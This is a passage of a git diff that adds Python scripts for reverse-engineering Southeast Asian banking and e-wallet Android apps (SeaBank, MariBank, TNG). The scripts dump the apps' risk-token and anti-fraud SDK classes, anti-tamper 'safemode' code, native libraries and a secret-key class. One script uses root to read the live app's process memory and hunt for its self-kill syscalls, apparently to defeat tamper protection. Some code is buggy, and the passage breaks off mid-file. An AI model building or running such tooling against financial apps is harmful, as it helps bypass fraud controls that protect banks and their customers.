||||
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(name)
|
||||
if b"RegisterRequest" not in dex:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_reg.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in re.findall(r"Lcom/shopee/bke/[^;]*RegisterRequest[^;]*;", data.decode("latin1", errors="ignore")):
|
||||
cap = False
|
||||
print("\n" + "=" * 60, name, target)
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap:
|
||||
print(line)
|
||||
35
reverse/scripts/dump_register_vm.py
Normal file
35
reverse/scripts/dump_register_vm.py
Normal file
@@ -0,0 +1,35 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
targets = [
|
||||
"Lcom/shopee/bke/biz/user/viewmodel/RegisterViewModel;",
|
||||
"Lcom/shopee/bke/biz/user/ui/PhoneNumActivity;",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if b"RegisterViewModel" not in data:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_reg.dex"
|
||||
tmp.write_bytes(data)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in targets:
|
||||
if target.replace("L", "").replace(";", "") not in data.decode("latin1", errors="ignore"):
|
||||
continue
|
||||
print("=" * 60, name, target)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap and ("name :" in line or "type :" in line):
|
||||
print(line.strip().encode("ascii", "replace").decode())
|
||||
66
reverse/scripts/dump_risk_register_chain.py
Normal file
66
reverse/scripts/dump_risk_register_chain.py
Normal file
@@ -0,0 +1,66 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Dump riskToken + requestDefense + register crypto call chain."""
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
TARGETS = [
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/SHPSSDK;", "getRiskToken"),
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/SHPSSDK;", "requestDefense"),
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/uwuvuvvww/vvuuuuvvv;", "wwvuwuwvu"),
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/uwuvuvvww/vvuuuuvvv;", "wuvwuvwwu"),
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/wvvvuwwu;", "wwvwvwuvv"),
|
||||
("classes11.dex", "Lcom/shopee/shpssdkbank/wvvvuwwu;", "vvuwuuvuu"),
|
||||
]
|
||||
|
||||
def dump_method(out, cls, method):
|
||||
cls_short = cls.replace("L", "").replace(";", "").replace("/", ".")
|
||||
needle = cls_short + "." + method + ":"
|
||||
print("\n" + "=" * 72)
|
||||
print(cls_short, method)
|
||||
cap = False
|
||||
lines = []
|
||||
for line in out.splitlines():
|
||||
if needle in line:
|
||||
cap = True
|
||||
if cap:
|
||||
lines.append(line)
|
||||
if len(lines) > 1 and line.strip().startswith("name :") and method not in line:
|
||||
break
|
||||
for line in lines[:80]:
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name, cls, method in TARGETS:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "_tmp.dex"
|
||||
tmp.write_bytes(zf.read(dex_name))
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
dump_method(out, cls, method)
|
||||
|
||||
# classes8 CharacterCrypto / SoUtils
|
||||
print("\n" + "=" * 72, "classes8 crypto classes")
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "_tmp8.dex"
|
||||
tmp.write_bytes(zf.read("classes8.dex"))
|
||||
out8 = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp8)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
cap = False
|
||||
for line in out8.splitlines():
|
||||
if "Class descriptor" in line and (
|
||||
"CharacterCrypto" in line or "SoUtils" in line or "sdkutils" in line.lower()
|
||||
):
|
||||
print("\n---", line.strip())
|
||||
cap = True
|
||||
continue
|
||||
if cap:
|
||||
if line.startswith(" Class descriptor") and "CharacterCrypto" not in line:
|
||||
cap = False
|
||||
continue
|
||||
if "name :" in line or "NATIVE" in line or "loadLibrary" in line:
|
||||
print(line.strip()[:180])
|
||||
54
reverse/scripts/dump_safemode_b.py
Normal file
54
reverse/scripts/dump_safemode_b.py
Normal file
@@ -0,0 +1,54 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import sys
|
||||
import zipfile
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
TARGET = "com/shopee/bke/lib/safemode/b;"
|
||||
APK = sys.argv[1] if len(sys.argv) > 1 else "reverse/apks/seabank_ph_base.apk"
|
||||
BT = None
|
||||
|
||||
|
||||
def find_build_tools():
|
||||
base = os.environ.get("ANDROID_HOME") or os.path.expanduser(
|
||||
r"~\AppData\Local\Android\Sdk"
|
||||
)
|
||||
tools = os.path.join(base, "build-tools")
|
||||
versions = sorted(os.listdir(tools), reverse=True)
|
||||
return os.path.join(tools, versions[0], "dexdump.exe")
|
||||
|
||||
|
||||
def main():
|
||||
dexdump = find_build_tools()
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if TARGET.encode() not in data and b"Lcom/shopee/bke/lib/safemode/b;" not in data:
|
||||
continue
|
||||
print("FOUND in", name)
|
||||
tmp = tempfile.NamedTemporaryFile(suffix=".dex", delete=False)
|
||||
tmp.write(data)
|
||||
tmp.close()
|
||||
try:
|
||||
out = subprocess.check_output(
|
||||
[dexdump, "-f", tmp.name], stderr=subprocess.STDOUT, text=True,
|
||||
errors="ignore"
|
||||
)
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if "Class descriptor : 'Lcom/shopee/bke/lib/safemode/b;'" in line:
|
||||
capture = True
|
||||
elif capture and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if capture:
|
||||
if "name :" in line or "type :" in line or "Class descriptor" in line:
|
||||
print(line)
|
||||
finally:
|
||||
os.unlink(tmp.name)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
38
reverse/scripts/dump_sg_safemode.py
Normal file
38
reverse/scripts/dump_sg_safemode.py
Normal file
@@ -0,0 +1,38 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
TARGETS = [
|
||||
"Lcom/shopee/bke/lib/safemode/model/ErrorType;",
|
||||
"Lcom/shopee/bke/lib/safemode/activity/SafeModeRecoverActivity;",
|
||||
"Lcom/shopee/bke/lib/safemode/b;",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if not any(t.replace("L", "").replace(";", "").encode() in data for t in TARGETS):
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "sg_safemode.dex"
|
||||
tmp.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp.write_bytes(data)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in TARGETS:
|
||||
if target.replace("L", "").replace(";", "") not in data.decode("latin1", errors="ignore"):
|
||||
continue
|
||||
print("=" * 60, name, target)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap and ("name :" in line or "const-string" in line or "ErrorType" in line):
|
||||
print(line.strip()[:140])
|
||||
20
reverse/scripts/dump_shps_bank.py
Normal file
20
reverse/scripts/dump_shps_bank.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
target = "Lcom/shopee/shpssdkbank/SHPSSDK;"
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
capture = True
|
||||
elif capture and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if capture and ("name :" in line or "type :" in line or "access :" in line):
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
21
reverse/scripts/dump_shps_bank_full.py
Normal file
21
reverse/scripts/dump_shps_bank_full.py
Normal file
@@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
target = "Lcom/shopee/shpssdkbank/SHPSSDK;"
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
capture = True
|
||||
elif capture and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if capture:
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
32
reverse/scripts/dump_shps_install.py
Normal file
32
reverse/scripts/dump_shps_install.py
Normal file
@@ -0,0 +1,32 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
targets = [
|
||||
"Lcom/shopee/shpssdkbank/ShpssInstall;",
|
||||
"Lcom/shopee/shpssdkbank/vuvuwwwuw;",
|
||||
"Lcom/shopee/shpssdkbank/vwuuwwvwv;",
|
||||
"Lcom/shopee/shpssdkbank/uvuwwuvwv/uvwwuuvvw;",
|
||||
]
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
for target in targets:
|
||||
print("=" * 60, target)
|
||||
cap = False
|
||||
n = 0
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if cap:
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
n += 1
|
||||
if n > 80:
|
||||
print("...truncated...")
|
||||
break
|
||||
20
reverse/scripts/dump_shps_methods.py
Normal file
20
reverse/scripts/dump_shps_methods.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for line in out.splitlines():
|
||||
if "SHPSSDK;" in line and any(
|
||||
k in line for k in ("getRisk", "assessRisk", "getRiskToken", "getExtRisk")
|
||||
):
|
||||
print(line.strip())
|
||||
19
reverse/scripts/dump_shps_native_methods.py
Normal file
19
reverse/scripts/dump_shps_native_methods.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
in_shps = False
|
||||
for line in out.splitlines():
|
||||
if "Class descriptor : 'Lcom/shopee/shpssdk" in line:
|
||||
in_shps = "SHPSSDK;" in line or "shpssdkbank" in line
|
||||
if in_shps and line.startswith(" Class descriptor") and "shpssdk" not in line:
|
||||
break
|
||||
if in_shps and ("NATIVE" in line or "name :" in line):
|
||||
print(line.strip())
|
||||
110
reverse/scripts/dump_tng_nativelib_methods.py
Normal file
110
reverse/scripts/dump_tng_nativelib_methods.py
Normal file
@@ -0,0 +1,110 @@
|
||||
"""Minimal DEX parser: dump methods for target classes."""
|
||||
import struct
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
TARGET = {
|
||||
"Lcom/tngd/networksdk/common/NativeLib;",
|
||||
"Lcom/tngd/networksdk/common/ApiSixSecretKeys;",
|
||||
"Lmy/com/tngdigital/common/internal/libs/RetrieveFromNativeLibs;",
|
||||
}
|
||||
|
||||
|
||||
def uleb(data, i):
|
||||
result = 0
|
||||
shift = 0
|
||||
while True:
|
||||
b = data[i]
|
||||
i += 1
|
||||
result |= (b & 0x7F) << shift
|
||||
if (b & 0x80) == 0:
|
||||
break
|
||||
shift += 7
|
||||
return result, i
|
||||
|
||||
|
||||
def parse_dex(data: bytes, label: str):
|
||||
if data[:4] != b"dex\n":
|
||||
return
|
||||
string_ids_size, string_ids_off = struct.unpack_from("<II", data, 56)
|
||||
type_ids_size, type_ids_off = struct.unpack_from("<II", data, 64)
|
||||
proto_ids_size, proto_ids_off = struct.unpack_from("<II", data, 72)
|
||||
field_ids_size, field_ids_off = struct.unpack_from("<II", data, 80)
|
||||
method_ids_size, method_ids_off = struct.unpack_from("<II", data, 88)
|
||||
class_defs_size, class_defs_off = struct.unpack_from("<II", data, 96)
|
||||
|
||||
def string_at(idx):
|
||||
off = struct.unpack_from("<I", data, string_ids_off + idx * 4)[0]
|
||||
size, p = uleb(data, off)
|
||||
return data[p : p + size].decode("utf-8", "replace")
|
||||
|
||||
def type_at(idx):
|
||||
return string_at(struct.unpack_from("<I", data, type_ids_off + idx * 4)[0])
|
||||
|
||||
def proto_at(idx):
|
||||
shorty_idx, return_type_idx, parameters_off = struct.unpack_from(
|
||||
"<III", data, proto_ids_off + idx * 12
|
||||
)
|
||||
ret = type_at(return_type_idx)
|
||||
params = []
|
||||
if parameters_off:
|
||||
size = struct.unpack_from("<I", data, parameters_off)[0]
|
||||
for i in range(size):
|
||||
tidx = struct.unpack_from("<H", data, parameters_off + 4 + i * 2)[0]
|
||||
params.append(type_at(tidx))
|
||||
return ret, params
|
||||
|
||||
def method_at(idx):
|
||||
class_idx, proto_idx, name_idx = struct.unpack_from(
|
||||
"<HHI", data, method_ids_off + idx * 8
|
||||
)
|
||||
ret, params = proto_at(proto_idx)
|
||||
return type_at(class_idx), string_at(name_idx), ret, params
|
||||
|
||||
print(f"\n===== {label} =====")
|
||||
for c in range(class_defs_size):
|
||||
class_idx, access_flags, superclass_idx, interfaces_off, source_file_idx, annotations_off, class_data_off, static_values_off = struct.unpack_from(
|
||||
"<IIIIIIII", data, class_defs_off + c * 32
|
||||
)
|
||||
cname = type_at(class_idx)
|
||||
if cname not in TARGET:
|
||||
continue
|
||||
print(f"\nCLASS {cname} access=0x{access_flags:x}")
|
||||
if not class_data_off:
|
||||
print(" (no class_data)")
|
||||
continue
|
||||
p = class_data_off
|
||||
static_fields_size, p = uleb(data, p)
|
||||
instance_fields_size, p = uleb(data, p)
|
||||
direct_methods_size, p = uleb(data, p)
|
||||
virtual_methods_size, p = uleb(data, p)
|
||||
# skip fields
|
||||
for _ in range(static_fields_size + instance_fields_size):
|
||||
_, p = uleb(data, p)
|
||||
_, p = uleb(data, p)
|
||||
mid = 0
|
||||
for kind, count in (("direct", direct_methods_size), ("virtual", virtual_methods_size)):
|
||||
mid = 0
|
||||
for _ in range(count):
|
||||
diff, p = uleb(data, p)
|
||||
access, p = uleb(data, p)
|
||||
code_off, p = uleb(data, p)
|
||||
mid += diff
|
||||
cls, name, ret, params = method_at(mid)
|
||||
flags = []
|
||||
if access & 0x100:
|
||||
flags.append("native")
|
||||
if access & 0x8:
|
||||
flags.append("static")
|
||||
if access & 0x10000:
|
||||
flags.append("constructor")
|
||||
print(f" [{kind}] {' '.join(flags)} {name}({', '.join(params)}){ret} code=0x{code_off:x}")
|
||||
|
||||
|
||||
apk = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk")
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
for n in z.namelist():
|
||||
if n.endswith(".dex"):
|
||||
data = z.read(n)
|
||||
if any(t.encode() in data for t in ("NativeLib;", "ApiSixSecretKeys;", "RetrieveFromNativeLibs;")):
|
||||
parse_dex(data, n)
|
||||
167
reverse/scripts/dump_tng_runtime_kill.py
Normal file
167
reverse/scripts/dump_tng_runtime_kill.py
Normal file
@@ -0,0 +1,167 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Race-window: dump TNG executable maps and hunt kill+SVC after launch."""
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
OUT = Path(__file__).resolve().parents[1] / "dumps" / "tng_runtime"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# aarch64 movz x8/w8,#129/130/131 + svc #0
|
||||
KILL_IMMS = [
|
||||
bytes.fromhex("281080d2"),
|
||||
bytes.fromhex("28108052"),
|
||||
bytes.fromhex("481080d2"),
|
||||
bytes.fromhex("48108052"),
|
||||
bytes.fromhex("681080d2"),
|
||||
bytes.fromhex("68108052"),
|
||||
]
|
||||
SVC0 = bytes.fromhex("010000d4")
|
||||
EXIT_IMM = bytes.fromhex("c80b80d2") # movz x8,#94 exit_group
|
||||
EXIT2 = bytes.fromhex("ba0b80d2") # movz x8,#93 exit
|
||||
|
||||
|
||||
def adb(*args, check=False):
|
||||
r = subprocess.run([ADB, *args], capture_output=True)
|
||||
out = (r.stdout or b"") + (r.stderr or b"")
|
||||
if check and r.returncode != 0:
|
||||
raise RuntimeError(out.decode("utf-8", "ignore"))
|
||||
return r.returncode, out.decode("utf-8", "replace")
|
||||
|
||||
|
||||
def su(cmd):
|
||||
return adb("shell", f"su -c '{cmd}'")
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(0.5)
|
||||
adb("shell", "monkey", "-p", PKG, "-c", "android.intent.category.LAUNCHER", "1")
|
||||
|
||||
pid = None
|
||||
for _ in range(40):
|
||||
time.sleep(0.25)
|
||||
_, out = adb("shell", "pidof", PKG)
|
||||
toks = out.strip().split()
|
||||
if toks:
|
||||
pid = toks[0]
|
||||
break
|
||||
if not pid:
|
||||
print("FAIL: no pid")
|
||||
return 1
|
||||
print(f"pid={pid}")
|
||||
|
||||
# pull maps
|
||||
_, maps = su(f"cat /proc/{pid}/maps")
|
||||
maps_path = OUT / f"maps_{pid}.txt"
|
||||
maps_path.write_text(maps, encoding="utf-8", errors="replace")
|
||||
print(f"maps -> {maps_path} lines={len(maps.splitlines())}")
|
||||
|
||||
targets = []
|
||||
for line in maps.splitlines():
|
||||
if "r-xp" not in line and "r-x" not in line:
|
||||
# also rw-p with execute rarely; keep x
|
||||
if "x" not in line.split()[1] if len(line.split()) > 1 else "":
|
||||
continue
|
||||
if "tngdigital" in line or "libnative" in line or "ewallet" in line.lower():
|
||||
parts = line.split()
|
||||
rng = parts[0]
|
||||
start_s, end_s = rng.split("-")
|
||||
start, end = int(start_s, 16), int(end_s, 16)
|
||||
path = parts[-1] if len(parts) >= 6 else ""
|
||||
targets.append((start, end, path, line))
|
||||
|
||||
print(f"target segments={len(targets)}")
|
||||
for start, end, path, line in targets[:12]:
|
||||
print(f" {hex(start)}-{hex(end)} {path}")
|
||||
|
||||
# dump via dd from /proc/pid/mem
|
||||
remote = f"/data/local/tmp/tng_rt_{pid}.bin"
|
||||
su(f"rm -f {remote}")
|
||||
total = 0
|
||||
for i, (start, end, path, _) in enumerate(targets):
|
||||
size = end - start
|
||||
if size <= 0 or size > 32 * 1024 * 1024:
|
||||
continue
|
||||
# append dump
|
||||
cmd = (
|
||||
f"dd if=/proc/{pid}/mem bs=4096 skip={start // 4096} "
|
||||
f"count={(size + 4095) // 4096} 2>/dev/null >> {remote}"
|
||||
)
|
||||
# dd skip is in blocks from file start — wrong for /proc/pid/mem!
|
||||
# Use busybox dd with seek on output and skip via python on device instead.
|
||||
cmd = (
|
||||
f"toybox dd if=/proc/{pid}/mem of={remote}.p{i} "
|
||||
f"bs=1 skip={start} count={size} 2>/dev/null"
|
||||
)
|
||||
code, _ = su(cmd)
|
||||
if code == 0:
|
||||
total += size
|
||||
print(f" dumped p{i} size={size} from {path}")
|
||||
else:
|
||||
# fallback: python on device
|
||||
py = (
|
||||
f"python3 -c \"import sys;f=open('/proc/{pid}/mem','rb');"
|
||||
f"f.seek({start});d=f.read({size});open('{remote}.p{i}','wb').write(d)\""
|
||||
)
|
||||
code2, out2 = su(py)
|
||||
if code2 == 0:
|
||||
total += size
|
||||
print(f" dumped p{i} via python size={size}")
|
||||
else:
|
||||
print(f" FAIL dump p{i}: {out2[:120]}")
|
||||
|
||||
# pull pieces and scan
|
||||
local_dir = OUT / f"mem_{pid}"
|
||||
local_dir.mkdir(exist_ok=True)
|
||||
kill_hits = 0
|
||||
exit_hits = 0
|
||||
for i, (start, end, path, _) in enumerate(targets):
|
||||
rem = f"{remote}.p{i}"
|
||||
loc = local_dir / f"seg_{i}_{start:x}.bin"
|
||||
code, _ = adb("shell", f"su -c 'test -f {rem} && echo OK'")
|
||||
if "OK" not in _:
|
||||
continue
|
||||
adb("pull", rem, str(loc))
|
||||
if not loc.exists():
|
||||
continue
|
||||
data = loc.read_bytes()
|
||||
for imm in KILL_IMMS:
|
||||
pos = 0
|
||||
while True:
|
||||
j = data.find(imm, pos)
|
||||
if j < 0:
|
||||
break
|
||||
win = data[j : j + 36]
|
||||
if SVC0 in win:
|
||||
kill_hits += 1
|
||||
delta = win.find(SVC0)
|
||||
print(f"KILL+SVC seg{i} file+0x{j:x} va=0x{start+j:x} delta={delta} path={path}")
|
||||
pos = j + 4
|
||||
for imm in (EXIT_IMM, EXIT2):
|
||||
pos = 0
|
||||
while True:
|
||||
j = data.find(imm, pos)
|
||||
if j < 0:
|
||||
break
|
||||
win = data[j : j + 36]
|
||||
if SVC0 in win:
|
||||
exit_hits += 1
|
||||
if exit_hits <= 15:
|
||||
print(f"EXIT+SVC seg{i} file+0x{j:x} va=0x{start+j:x} path={path}")
|
||||
pos = j + 4
|
||||
# also count raw svc
|
||||
print(f" seg{i} svc0={data.count(SVC0)} size={len(data)}")
|
||||
|
||||
print(f"DONE kill+svc={kill_hits} exit+svc={exit_hits} dumped_bytes~={total}")
|
||||
_, alive = adb("shell", "pidof", PKG)
|
||||
print(f"still alive? {alive.strip() or 'NO'}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
22
reverse/scripts/extract_all_so.py
Normal file
22
reverse/scripts/extract_all_so.py
Normal file
@@ -0,0 +1,22 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import sys
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
SPLIT = Path(__file__).resolve().parent.parent / "extracted" / "native" / "split_config.arm64_v8a.apk"
|
||||
if not SPLIT.exists():
|
||||
native_dir = SPLIT.parent
|
||||
candidates = list(native_dir.glob("split_config.arm64*.apk"))
|
||||
if not candidates:
|
||||
print("missing split APK at", SPLIT, file=sys.stderr)
|
||||
print("run: reverse/frida/pull_split_apk.ps1", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
SPLIT = candidates[0]
|
||||
|
||||
OUT = SPLIT.parent
|
||||
with zipfile.ZipFile(str(SPLIT)) as zf:
|
||||
for name in zf.namelist():
|
||||
if name.endswith(".so"):
|
||||
path = OUT / Path(name).name
|
||||
path.write_bytes(zf.read(name))
|
||||
print(path.name, path.stat().st_size)
|
||||
13
reverse/scripts/extract_from_split.py
Normal file
13
reverse/scripts/extract_from_split.py
Normal file
@@ -0,0 +1,13 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
split = Path(__file__).resolve().parent.parent / "extracted" / "native" / "split_arm64.apk"
|
||||
out = split.parent
|
||||
with zipfile.ZipFile(str(split)) as zf:
|
||||
for name in zf.namelist():
|
||||
if "libshpssdk" in name:
|
||||
dest = out / Path(name).name
|
||||
dest.write_bytes(zf.read(name))
|
||||
print(dest, dest.stat().st_size)
|
||||
14
reverse/scripts/extract_native.py
Normal file
14
reverse/scripts/extract_native.py
Normal file
@@ -0,0 +1,14 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
OUT = Path(__file__).resolve().parent.parent / "extracted" / "native"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if "libshpssdk" in name and name.endswith(".so"):
|
||||
path = OUT / Path(name).name
|
||||
path.write_bytes(zf.read(name))
|
||||
print("extracted", path, path.stat().st_size)
|
||||
14
reverse/scripts/extract_shps_so.py
Normal file
14
reverse/scripts/extract_shps_so.py
Normal file
@@ -0,0 +1,14 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
OUT = Path(__file__).resolve().parent.parent / "extracted" / "native"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if "libshpssdk" in name and name.endswith(".so"):
|
||||
dest = OUT / Path(name).name
|
||||
dest.write_bytes(zf.read(name))
|
||||
print(dest, dest.stat().st_size)
|
||||
13
reverse/scripts/extract_split_so.py
Normal file
13
reverse/scripts/extract_split_so.py
Normal file
@@ -0,0 +1,13 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
SPLIT = Path(__file__).resolve().parent.parent / "extracted" / "native" / "split_config.arm64_v8a.apk"
|
||||
OUT = SPLIT.parent
|
||||
with zipfile.ZipFile(str(SPLIT)) as zf:
|
||||
